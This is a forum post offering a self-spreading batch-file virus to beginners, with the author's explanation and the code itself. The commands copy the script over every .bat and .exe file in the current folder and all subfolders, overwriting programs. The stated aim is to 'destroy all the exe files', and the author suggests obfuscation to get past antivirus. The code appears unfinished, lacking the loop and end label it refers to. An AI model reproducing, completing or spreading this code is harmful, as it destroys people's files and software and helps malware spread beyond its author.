Topic: Batch virus, infect multiple folders with little effort
Havent seen many batch viruses here that spread in multiple folders, usually most of them on this website only infect its current directory. So for people with little knowlege of batch i made this, it will spread through all batch files on the pc, and hopefully destroy all the exe files too. It recursivly searches up each folder for the files to infect, each time the loop jumps up a directory, it recursivly search down each folder for the files to infect as well, running it may or may not destroy everything, but it will cause a alot of programs in alot of folders, and will give batch files a better oppertunity in gaining more ground to spread off of, down side is av may detect it one day because of its annoyance but its nothing that obfuscation cant fix.
for %%A in ("%CD%") do set topfolder=%%~DA\
for %%A in (*.bat *.exe) do copy /y %0 "%%~DPNXA"
for /r %%X in (*.bat *.exe) do copy /y %0 "%%X"
if "%CD%"=="%TOPFOLDER%" goto end